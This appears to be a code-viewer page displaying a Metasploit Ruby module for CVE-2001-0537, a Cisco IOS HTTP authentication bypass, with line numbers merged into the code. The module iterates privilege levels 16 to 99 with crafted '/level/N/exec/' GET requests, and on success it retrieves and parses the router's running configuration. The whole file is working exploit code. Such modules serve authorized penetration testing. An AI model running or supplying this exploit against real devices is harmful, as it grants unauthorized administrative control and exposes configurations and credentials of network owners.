Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4567class MetasploitModule < Msf::Auxiliary89# Exploit mixins should be called first10include Msf::Exploit::Remote::HttpClient1112# Include Cisco utility methods13include Msf::Auxiliary::Cisco1415# Scanner mixin should be near last16include Msf::Auxiliary::Scanner1718def initialize(info={})19super(update_info(info,20'Name' => 'Cisco IOS HTTP Unauthorized Administrative Access',21'Description' => %q{22This module exploits a vulnerability in the Cisco IOS HTTP Server.23By sending a GET request for "/level/num/exec/..", where num is between2416 and 99, it is possible to bypass authentication and obtain full system25control. IOS 11.3 -> 12.2 are reportedly vulnerable. This module26tested successfully against a Cisco 1600 Router IOS v11.3(11d).27},28'Author' => [ 'aushack', 'hdm' ],29'License' => MSF_LICENSE,30'References' =>31[32[ 'BID', '2936'],33[ 'CVE', '2001-0537'],34[ 'OSVDB', '578' ],35],36'DisclosureDate' => '2001-06-27'))37end3839def run_host(ip)404116.upto(99) do |level|42res = send_request_cgi({43'uri' => "/level/#{level}/exec/show/version/CR",44'method' => 'GET'45}, 20)4647if res and res.body and res.body =~ /Cisco Internetwork Operating System Software/48print_good("#{rhost}:#{rport} Found vulnerable privilege level: #{level}")4950report_vuln(51{52:host => rhost,53:port => rport,54:proto => 'tcp',55:name => self.name,56:sname => ssl ? "https" : "http",57:info => "Module #{self.fullname} successfully accessed http://#{rhost}:#{rport}/level/#{level}/exec/show/version/CR",58:refs => self.references,59:exploited_at => Time.now.utc60}61)6263res = send_request_cgi({64'uri' => "/level/#{level}/exec/show/config/CR",65'method' => 'GET'66}, 20)6768if res and res.body and res.body =~ /<FORM METHOD([^\>]+)\>(.*)<\/FORM>/mi69config = $2.strip70print_good("#{rhost}:#{rport} Processing the configuration file...")71cisco_ios_config_eater(rhost, rport, config)72report_exploit(73{74:host => rhost,75:port => rport,76:name => self.name,77:sname => ssl ? "https" : "http",78:info => "Module #{self.fullname} successfully captured the configuration file:\n#{config}"79}80)81else82print_error("#{rhost}:#{rport} Error: could not retrieve the IOS configuration")83end8485break86end87end88end89end909192